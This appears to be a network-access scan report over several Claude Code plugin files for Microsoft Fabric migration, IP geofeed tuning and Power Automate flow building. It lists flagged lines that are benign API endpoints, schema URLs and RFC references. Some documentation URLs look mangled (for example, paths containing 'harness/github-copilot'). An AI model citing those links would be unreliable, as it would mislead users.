> **Automation note**: OneLake RBAC now has a **public REST API** — [`OneLake Data Access Security`](https://learn.microsoft.com/en-us/rest/api/fabric/core/onelake-data-access-security) provides CRUD operations for data access roles: - Network accessline 1084
> For detailed setup instructions, see [Microsoft Docs: Managed Private Endpoints in Fabric](https://learn.microsoft.com/fabric/security/security-managed-private-endpoints-overview). - Network accessline 1109
> For detailed OPDG installation and configuration, see [Microsoft Docs: On-premises data gateway](https://learn.microsoft.com/data-integration/gateway/service-gateway-install).
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/spark-item-migration.md
- Network accessline 6
> > **Auth tokens** (see [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) for commands): > - Synapse data-plane audience: `https://dev.azuresynapse.net` - Network accessline 7
> **Auth tokens** (see [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) for commands): > - Synapse data-plane audience: `https://dev.azuresynapse.net` > - Fabric audience: `https://api.fabric.mi - Network accessline 8
> - Synapse data-plane audience: `https://dev.azuresynapse.net` - Network accessline 9
> - Fabric audience: `https://api.fabric.microsoft.com` - Network accessline 51
GET https://{workspaceName}.dev.azuresynapse.net/notebooks?api-version=2020-12-01 - Network accessline 213
POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items - Network accessline 252
GET https://{workspaceName}.dev.azuresynapse.net/sparkJobDefinitions?api-version=2020-12-01
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/spark-pool-migration.md
- Network accessline 6
> > **Auth tokens** (see [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) for commands): > - Synapse ARM audience: `https://management.azure.com` - Network accessline 7
> **Auth tokens** (see [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) for commands): > - Synapse ARM audience: `https://management.azure.com` > - Fabric audience: `https://api.fabric.microsoft - Network accessline 8
> - Synapse ARM audience: `https://management.azure.com` - Network accessline 9
> - Fabric audience: `https://api.fabric.microsoft.com` - Network accessline 36
GET https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Synapse/workspaces/{workspaceName}/bigDataPools?api-version=2021-06-01 - Network accessline 45
GET https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Synapse/workspaces/{workspaceName}/bigDataPools/{poolName}?api-version=2021-06-01 - Network accessline 107
**Endpoint**: `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/environments` - Network accessline 250
**Endpoint**: `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/environments/{environmentId}/updateDefinition` - Network accessline 261
def update_env_definition(workspace_id, env_id, definition_payload, headers, max_retries=3): """Upload Environment definition with retry for post-creation race condition.""" url = (f"https://api.fabric.microsoft.com/v1/workspaces/{w - Network accessline 262
"""Upload Environment definition with retry for post-creation race condition.""" url = (f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}" f"/environments/{env_id}/updateDefinition") - Network accessline 263
url = (f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}" - Network accessline 264
f"/environments/{env_id}/updateDefinition") for attempt in range(1, max_retries + 1): resp = requests.post(url, headers=headers, json=definition_payload) - Network accessline 265
for attempt in range(1, max_retries + 1): resp = requests.post(url, headers=headers, json=definition_payload) if resp.status_code == 404 and attempt < max_retries: - Network accessline 266
resp = requests.post(url, headers=headers, json=definition_payload) - Network accessline 307
**Endpoint**: `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/environments/{environmentId}/staging/publish` - Network accessline 313
**Endpoint**: `GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/environments/{environmentId}`
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/utility-api-mapping.md
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/validation-testing.md
- Network accessline 14
> | Phase 3 (SJDs) | V4, V5, V6 | Do not cut over until SJDs pass and the full validation report is green | > > **Auth token**: Use the token-acquisition recipe in [COMMON-CLI § Authentication Recipes](../../../common/COMMON-CLI.md#authenti - Network accessline 16
> **Auth token**: Use the token-acquisition recipe in [COMMON-CLI § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) with audience `https://api.fabric.microsoft.com`. - Network accessline 41
GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/environments/{environmentId} - Network accessline 254
**Endpoint**: `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items/{notebookId}/jobs/instances?jobType=RunNotebook` - Network accessline 298
**Endpoint**: `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items/{sjdId}/jobs/instances?jobType=SparkJob`
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/variable-library-cli/references/authoring.md
- Network accessline 5
This reference covers the Variable Library item definition: definition parts, variable types, and create/update by definition. The active value set is item state, not definition, and lives in [operations.md](operations.md). It is grounded i - Network accessline 23
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json", - Network accessline 24
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json", - Network accessline 36
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json", - Network accessline 37
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json", - Network accessline 45
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json", - Network accessline 46
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json", - Network accessline 67
Editing a variable's default `value` or a value set override is a definition edit. Selecting the active value set is workspace item state. Deployment intentionally does not overwrite the selected active value set in each stage, and deployme - Network accessline 82
ConnectionReference is a newer advanced type documented in [Variable library connection reference](https://learn.microsoft.com/en-us/fabric/cicd/variable-harness/github-copilot/connection-reference-variable-type). That Learn article shows ` - Network accessline 84
In `variables.json`, a variable's default `value` uses its native JSON type (`true` for Boolean, `1000` for Integer). In `valueSets/*.json`, each `variableOverrides[].value` uses the **same native JSON type as the variable it overrides** (B - Network accessline 95
parts = { "variables.json": { "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json", - Network accessline 96
"variables.json": { "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json", "variables": [ - Network accessline 97
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json", - Network accessline 102
}, "settings.json": { "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json", - Network accessline 103
"settings.json": { "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json", "valueSetsOrder": ["dev", "prod"] - Network accessline 104
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json", - Network accessline 106
}, "valueSets/dev.json": { "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json", - Network accessline 107
"valueSets/dev.json": { "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json", "name": "dev", - Network accessline 108
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json", - Network accessline 112
}, "valueSets/prod.json": { "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json", - Network accessline 113
"valueSets/prod.json": { "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json", "name": "prod", - Network accessline 114
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json", - Network accessline 141
az rest \ --method post \ --resource https://api.fabric.microsoft.com \ - Network accessline 142
--method post \ --resource https://api.fabric.microsoft.com \ --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 143
--resource https://api.fabric.microsoft.com \ - Network accessline 144
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 152
az rest \ --method post \ --resource https://api.fabric.microsoft.com \ - Network accessline 153
--method post \ --resource https://api.fabric.microsoft.com \ --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$VL_ID/getDefinition" \ - Network accessline 154
--resource https://api.fabric.microsoft.com \ - Network accessline 155
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$VL_ID/getDefinition" \ - Network accessline 160
az rest \ --method post \ --resource https://api.fabric.microsoft.com \ - Network accessline 161
--method post \ --resource https://api.fabric.microsoft.com \ --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$VL_ID/updateDefinition" \ - Network accessline 162
--resource https://api.fabric.microsoft.com \ - Network accessline 163
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$VL_ID/updateDefinition" \
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/variable-library-cli/references/consumption.md
- Network accessline 5
This reference defines the Variable Library side of the consumer contract. It cites [Variable Library overview](https://learn.microsoft.com/en-us/fabric/cicd/variable-harness/github-copilot/variable-library-overview), [pipeline integration] - Network accessline 56
The `SetVariable` activity writes to a pipeline variable, so that variable must exist. Per [Set Variable activity](https://learn.microsoft.com/en-us/fabric/data-factory/set-variable-activity), Set Variable operates on an **existing** pipeli - Network accessline 74
> **Number is not supported in pipelines per Microsoft Learn** ([Variable library integration with pipelines](https://learn.microsoft.com/en-us/fabric/data-factory/variable-library-integration-with-data-pipelines#known-limitations)). The `N
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/variable-library-cli/references/operations.md
- Network accessline 5
This reference covers Variable Library specific CI/CD behavior. It cites [Variable Library CI/CD](https://learn.microsoft.com/en-us/fabric/cicd/variable-harness/github-copilot/variable-library-cicd), [Variable Library value sets](https://le - Network accessline 25
az rest \ --method get \ --resource https://api.fabric.microsoft.com \ - Network accessline 26
--method get \ --resource https://api.fabric.microsoft.com \ --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/variableLibraries/$VL_ID" \ - Network accessline 27
--resource https://api.fabric.microsoft.com \ - Network accessline 28
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/variableLibraries/$VL_ID" \ - Network accessline 39
az rest \ --method patch \ --resource https://api.fabric.microsoft.com \ - Network accessline 40
--method patch \ --resource https://api.fabric.microsoft.com \ --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/variableLibraries/$VL_ID" \ - Network accessline 41
--resource https://api.fabric.microsoft.com \ - Network accessline 42
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/variableLibraries/$VL_ID" \ - Network accessline 72
- [fabric-cicd documentation](https://microsoft.github.io/fabric-cicd/) - Network accessline 73
- [Lifecycle Management of the Microsoft Fabric Variable library](https://learn.microsoft.com/en-us/fabric/cicd/variable-harness/github-copilot/variable-library-cicd)
harness/claude-code/plugins/fastah-ip-geo-tools/.claude-plugin/plugin.json
- Network accessline 5
"author": { "name": "Fastah Inc.", "url": "https://getfastah.com" - Network accessline 6
"name": "Fastah Inc.", "url": "https://getfastah.com" }, - Network accessline 7
"url": "https://getfastah.com" - Network accessline 8
}, "repository": "https://github.com/github/awesome-copilot", "license": "Apache-2.0", - Network accessline 9
"repository": "https://github.com/github/awesome-copilot",
harness/claude-code/plugins/fastah-ip-geo-tools/skills/geofeed-tuner/references/extended-guide.md
harness/claude-code/plugins/fastah-ip-geo-tools/skills/geofeed-tuner/references/rfc8805.txt
- Network accessline 49
Information about the current status of this document, any errata, and how to provide feedback on it may be obtained at https://www.rfc-editor.org/info/rfc8805. - Network accessline 51
https://www.rfc-editor.org/info/rfc8805. - Network accessline 58
This document is subject to BCP 78 and the IETF Trust's Legal Provisions Relating to IETF Documents (https://trustee.ietf.org/license-info) in effect on the date of - Network accessline 59
Provisions Relating to IETF Documents (https://trustee.ietf.org/license-info) in effect on the date of publication of this document. Please review these documents - Network accessline 60
(https://trustee.ietf.org/license-info) in effect on the date of - Network accessline 565
[ISO.3166.1alpha2] ISO, "ISO 3166-1 decoding table", <http://www.iso.org/iso/home/standards/country_codes/iso- - Network accessline 566
ISO, "ISO 3166-1 decoding table", <http://www.iso.org/iso/home/standards/country_codes/iso- 3166-1_decoding_table.htm>. - Network accessline 567
<http://www.iso.org/iso/home/standards/country_codes/iso- - Network accessline 570
[ISO.3166.2] ISO, "ISO 3166-2:2007", <http://www.iso.org/iso/home/standards/ - Network accessline 571
ISO, "ISO 3166-2:2007", <http://www.iso.org/iso/home/standards/ country_codes.htm#2012_iso3166-2>. - Network accessline 572
<http://www.iso.org/iso/home/standards/ - Network accessline 576
Requirement Levels", BCP 14, RFC 2119, DOI 10.17487/RFC2119, March 1997, <https://www.rfc-editor.org/info/rfc2119>. - Network accessline 578
<https://www.rfc-editor.org/info/rfc2119>. - Network accessline 580
[RFC3629] Yergeau, F., "UTF-8, a transformation format of ISO 10646", STD 63, RFC 3629, DOI 10.17487/RFC3629, November 2003, <https://www.rfc-editor.org/info/rfc3629>. - Network accessline 582
2003, <https://www.rfc-editor.org/info/rfc3629>. - Network accessline 585
Separated Values (CSV) Files", RFC 4180, DOI 10.17487/RFC4180, October 2005, <https://www.rfc-editor.org/info/rfc4180>. - Network accessline 587
<https://www.rfc-editor.org/info/rfc4180>. - Network accessline 589
[RFC4291] Hinden, R. and S. Deering, "IP Version 6 Addressing Architecture", RFC 4291, DOI 10.17487/RFC4291, February 2006, <https://www.rfc-editor.org/info/rfc4291>. - Network accessline 591
2006, <https://www.rfc-editor.org/info/rfc4291>. - Network accessline 594
(CIDR): The Internet Address Assignment and Aggregation Plan", BCP 122, RFC 4632, DOI 10.17487/RFC4632, August 2006, <https://www.rfc-editor.org/info/rfc4632>. - Network accessline 596
2006, <https://www.rfc-editor.org/info/rfc4632>. - Network accessline 599
Address Text Representation", RFC 5952, DOI 10.17487/RFC5952, August 2010, <https://www.rfc-editor.org/info/rfc5952>. - Network accessline 601
<https://www.rfc-editor.org/info/rfc5952>. - Network accessline 604
Ed., "Hypertext Transfer Protocol (HTTP/1.1): Caching", RFC 7234, DOI 10.17487/RFC7234, June 2014, <https://www.rfc-editor.org/info/rfc7234>. - Network accessline 606
<https://www.rfc-editor.org/info/rfc7234>. - Network accessline 608
[RFC8174] Leiba, B., "Ambiguity of Uppercase vs Lowercase in RFC 2119 Key Words", BCP 14, RFC 8174, DOI 10.17487/RFC8174, May 2017, <https://www.rfc-editor.org/info/rfc8174>. - Network accessline 610
May 2017, <https://www.rfc-editor.org/info/rfc8174>. - Network accessline 615
Edition)", World Wide Web Consortium Recommendation REC- xml-20081126, November 2008, <http://www.w3.org/TR/2008/REC-xml-20081126>. - Network accessline 617
<http://www.w3.org/TR/2008/REC-xml-20081126>. - Network accessline 621
[GEOPRIV] IETF, "Geographic Location/Privacy (geopriv)", <http://datatracker.ietf.org/wg/geopriv/>. - Network accessline 622
<http://datatracker.ietf.org/wg/geopriv/>. - Network accessline 624
[GEO_Google] Google, LLC, "Google Corp Geofeed", <https://www.gstatic.com/geofeed/corp_external>. - Network accessline 626
<https://www.gstatic.com/geofeed/corp_external>. - Network accessline 628
[GEO_ICANN] ICANN, "ICANN Meeting Geolocation Data", <https://meeting-services.icann.org/geo/google.csv>. - Network accessline 630
<https://meeting-services.icann.org/geo/google.csv>. - Network accessline 632
[GEO_IETF] Kumari, W., "IETF Meeting Network Geolocation Data", <https://noc.ietf.org/geo/google.csv>. - Network accessline 633
<https://noc.ietf.org/geo/google.csv>. - Network accessline 635
[GEO_RIPE_NCC] Schepers, M., "RIPE NCC Meeting Geolocation Data", <https://meetings.ripe.net/geo/google.csv>. - Network accessline 637
<https://meetings.ripe.net/geo/google.csv>. - Network accessline 640
Shields, M. and P. Moody, "Google's Python IP address manipulation library", <http://code.google.com/p/ipaddr-py/>. - Network accessline 642
<http://code.google.com/p/ipaddr-py/>. - Network accessline 644
[ISO-GLOSSARY] ISO, "Glossary for ISO 3166", <https://www.iso.org/glossary-for-iso-3166.html>. - Network accessline 646
<https://www.iso.org/glossary-for-iso-3166.html>. - Network accessline 648
[RFC2818] Rescorla, E., "HTTP Over TLS", RFC 2818, DOI 10.17487/RFC2818, May 2000, <https://www.rfc-editor.org/info/rfc2818>. - Network accessline 650
<https://www.rfc-editor.org/info/rfc2818>. - Network accessline 652
[RFC3912] Daigle, L., "WHOIS Protocol Specification", RFC 3912, DOI 10.17487/RFC3912, September 2004, <https://www.rfc-editor.org/info/rfc3912>. - Network accessline 654
<https://www.rfc-editor.org/info/rfc3912>. - Network accessline 657
Format for Presence Information Data Format Location Object (PIDF-LO)", RFC 5139, DOI 10.17487/RFC5139, February 2008, <https://www.rfc-editor.org/info/rfc5139>. - Network accessline 659
February 2008, <https://www.rfc-editor.org/info/rfc5139>. - Network accessline 663
A Document Format for Expressing Privacy Preferences for Location Information", RFC 6772, DOI 10.17487/RFC6772, January 2013, <https://www.rfc-editor.org/info/rfc6772>. - Network accessline 665
January 2013, <https://www.rfc-editor.org/info/rfc6772>. - Network accessline 668
Authorizing Use of Domains in Email, Version 1", RFC 7208, DOI 10.17487/RFC7208, April 2014, <https://www.rfc-editor.org/info/rfc7208>. - Network accessline 670
<https://www.rfc-editor.org/info/rfc7208>. - Network accessline 673
Interchange Format", STD 90, RFC 8259, DOI 10.17487/RFC8259, December 2017, <https://www.rfc-editor.org/info/rfc8259>. - Network accessline 675
<https://www.rfc-editor.org/info/rfc8259>.
harness/claude-code/plugins/fastah-ip-geo-tools/skills/geofeed-tuner/references/snippets-python3.md
- Network accessline 3
- Use Python 3's built-in [`ipaddress` package](https://docs.python.org/3/harness/github-copilot/ipaddress.html), with `strict=True` passed to constructors where available. - Network accessline 9
- Use the [convenience factory functions in `ipaddress`](https://docs.python.org/3/harness/github-copilot/ipaddress.html#convenience-factory-functions). - Network accessline 30
- Use the strict-form parser [`ipaddress.ip_network(address, strict=True)`](https://docs.python.org/3/harness/github-copilot/ipaddress.html#ipaddress.ip_network).
harness/claude-code/plugins/fastah-ip-geo-tools/skills/geofeed-tuner/scripts/templates/index.html
- Network accessline 5
<meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Geofeed Tuner Report</title> <link href="https://fonts.googleapis.com/css2?family=Raleway:wght@300;400;600;700&display=swap" rel="stylesheet"> - Network accessline 6
<title>Geofeed Tuner Report</title> <link href="https://fonts.googleapis.com/css2?family=Raleway:wght@300;400;600;700&display=swap" rel="stylesheet"> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.0/f - Network accessline 7
<link href="https://fonts.googleapis.com/css2?family=Raleway:wght@300;400;600;700&display=swap" rel="stylesheet"> - Network accessline 8
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.0/font/bootstrap-icons.css"> - Network accessline 9
<link rel="stylesheet" href="https://unpkg.com/leaflet@1.9.4/dist/leaflet.css" /> - Network accessline 10
<script src="https://unpkg.com/leaflet@1.9.4/dist/leaflet.js"></script> - Network accessline 11
<script src="https://unpkg.com/h3-js@4.1.0/dist/h3-js.umd.js"></script> - Network accessline 1111
* @type {string} */ const API_ENDPOINT = 'https://mcp.fastah.ai/rest/geofeeds/place-search'; - Network accessline 1113
const API_ENDPOINT = 'https://mcp.fastah.ai/rest/geofeeds/place-search'; - Network accessline 1128
const batchRows = rows.slice(i * MAX_BATCH_SIZE, (i + 1) * MAX_BATCH_SIZE); try { const response = await fetch(API_ENDPOINT, { - Network accessline 1129
try { const response = await fetch(API_ENDPOINT, { method: 'POST', - Network accessline 1130
const response = await fetch(API_ENDPOINT, { - Network accessline 1411
L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', { - Network accessline 2025
zoom: 2 }); L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', { - Network accessline 2026
}); L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', { attribution: '\u00a9 <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors', - Network accessline 2027
L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', { - Network accessline 2028
attribution: '\u00a9 <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors',
harness/claude-code/plugins/feedback-themes/.claude-plugin/plugin.json
harness/claude-code/plugins/flight-map-canvas/.claude-plugin/plugin.json
harness/claude-code/plugins/flowstudio-power-automate/.claude-plugin/plugin.json
harness/claude-code/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-build/SKILL.md
- Network accessline 26
- A FlowStudio MCP subscription and reachable server are required: https://mcp.flowstudio.app. Also preserve the subscription URL without sentence punctuation: https://mcp.flowstudio.app - Network accessline 27
- Use the MCP endpoint `https://mcp.flowstudio.app/mcp` with a valid JWT in `MCP_TOKEN`; never commit `YOUR_JWT_TOKEN`. - Network accessline 36
3. Resolve connections. Call `list_live_connections(environmentName=ENV)` before asking the user for anything. Keep only `statuses[0].status == "Connected"`, build `conn_map = {connectorName: id}`, and use `search="shared_sharepointonline"` - Network accessline 37
4. Build `connection_references` and `host_templates`. `connectionReferences[connector].connectionName` holds the GUID from `list_live_connections`; each action's `inputs.host.connectionName` or `host.connectionName` uses the map key such a - Network accessline 38
5. Construct the workflow definition with `$schema: "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#"`, `contentVersion: "1.0.0.0"`, `triggers`, `actions`, and optional `definition[" - Network accessline 146
- [FlowStudio MCP subscription](https://mcp.flowstudio.app) - Network accessline 147
- [FlowStudio MCP endpoint](https://mcp.flowstudio.app/mcp) - Network accessline 148
- [Logic Apps workflow definition schema](https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#)
harness/claude-code/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-build/references/action-patterns-connectors.md
- Network accessline 26
}, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 27
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "table": "MyList", - Network accessline 28
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 70
}, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 71
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "table": "MyList", - Network accessline 72
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 100
}, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 101
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "table": "MyList", - Network accessline 102
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 124
}, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 125
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "table": "MyList", - Network accessline 126
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 153
"connectionName": "<connectionName>", "operationId": "CreateFile" }, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 154
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "folderPath": "/My Library/Subfolder", - Network accessline 155
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 167
"connectionName": "<connectionName>", "operationId": "GetFileMetadataByPath" }, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 168
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "path": "/My Library/Subfolder/@{variables('filename')}" - Network accessline 169
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 179
"connectionName": "<connectionName>", "operationId": "UpdateFile" }, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 180
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "id": "@outputs('Get_File_Metadata_By_Path')?['body/{Identifier}']", - Network accessline 181
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 222
}, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 223
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "table": "<list-guid>", - Network accessline 224
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 269
}, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/target-site", - Network accessline 270
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/target-site", "parameters/method": "POST", - Network accessline 271
"dataset": "https://mytenant.sharepoint.com/sites/target-site", - Network accessline 315
}, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 316
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "id": "%252fShared%2bDocuments%252fdata.json", - Network accessline 317
"dataset": "https://mytenant.sharepoint.com/sites/mysite",
harness/claude-code/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-build/references/action-patterns-core.md
- Network accessline 170
"inputs": { "method": "GET", "uri": "https://api.example.com/customers/@{variables('customerId')}" - Network accessline 171
"method": "GET", "uri": "https://api.example.com/customers/@{variables('customerId')}" } - Network accessline 172
"uri": "https://api.example.com/customers/@{variables('customerId')}" - Network accessline 233
"inputs": { "method": "POST", "uri": "https://api.example.com/contacts/@{item()?['Email']}" - Network accessline 234
"method": "POST", "uri": "https://api.example.com/contacts/@{item()?['Email']}" } - Network accessline 235
"uri": "https://api.example.com/contacts/@{item()?['Email']}" - Network accessline 364
"Start_Job": { "type": "Http", "inputs": { "method": "POST", "uri": "https://api.example.com/jobs" } - Network accessline 365
"type": "Http", "inputs": { "method": "POST", "uri": "https://api.example.com/jobs" } }, - Network accessline 366
"inputs": { "method": "POST", "uri": "https://api.example.com/jobs" } - Network accessline 384
"type": "Http", "runAfter": { "Delay": ["Succeeded"] }, "inputs": { "method": "GET", "uri": "https://api.example.com/jobs/history" } - Network accessline 385
"runAfter": { "Delay": ["Succeeded"] }, "inputs": { "method": "GET", "uri": "https://api.example.com/jobs/history" } }, - Network accessline 386
"inputs": { "method": "GET", "uri": "https://api.example.com/jobs/history" } - Network accessline 435
"type": "Http", "runAfter": {}, "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=hi-res" } - Network accessline 436
"runAfter": {}, "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=hi-res" } }, - Network accessline 437
"inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=hi-res" } - Network accessline 440
"type": "Http", "runAfter": { "HTTP_Get_Hi_Res": ["Failed"] }, "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=low-res" } - Network accessline 441
"runAfter": { "HTTP_Get_Hi_Res": ["Failed"] }, "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=low-res" } } - Network accessline 442
"inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=low-res" }
harness/claude-code/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-build/references/action-patterns-data.md
- Network accessline 312
"inputs": { "method": "POST", "uri": "https://api.example.com/endpoint", - Network accessline 313
"method": "POST", "uri": "https://api.example.com/endpoint", "headers": { - Network accessline 314
"uri": "https://api.example.com/endpoint", - Network accessline 342
"inputs": { "method": "GET", "uri": "https://graph.microsoft.com/v1.0/users?$search=\"employeeId:@{variables('Code')}\"&$select=id,displayName", - Network accessline 343
"method": "GET", "uri": "https://graph.microsoft.com/v1.0/users?$search=\"employeeId:@{variables('Code')}\"&$select=id,displayName", "headers": { - Network accessline 344
"uri": "https://graph.microsoft.com/v1.0/users?$search=\"employeeId:@{variables('Code')}\"&$select=id,displayName", - Network accessline 349
"authentication": { "type": "ActiveDirectoryOAuth", "authority": "https://login.microsoftonline.com", - Network accessline 350
"type": "ActiveDirectoryOAuth", "authority": "https://login.microsoftonline.com", "tenant": "<tenant-id>", - Network accessline 351
"authority": "https://login.microsoftonline.com", - Network accessline 352
"tenant": "<tenant-id>", "audience": "https://graph.microsoft.com", "clientId": "<app-registration-id>", - Network accessline 353
"audience": "https://graph.microsoft.com", - Network accessline 429
"inputs": { "method": "POST", "uri": "https://prod-XX.australiasoutheast.logic.azure.com:443/workflows/<workflowId>/triggers/manual/paths/invoke?api-version=2016-06-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=<SAS>", - Network accessline 430
"method": "POST", "uri": "https://prod-XX.australiasoutheast.logic.azure.com:443/workflows/<workflowId>/triggers/manual/paths/invoke?api-version=2016-06-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=<SAS>", "headers": { "Content-Type" - Network accessline 431
"uri": "https://prod-XX.australiasoutheast.logic.azure.com:443/workflows/<workflowId>/triggers/manual/paths/invoke?api-version=2016-06-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=<SAS>",
harness/claude-code/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-build/references/build-patterns.md
harness/claude-code/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-build/references/flow-schema.md
- Network accessline 10
{ "$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#", - Network accessline 11
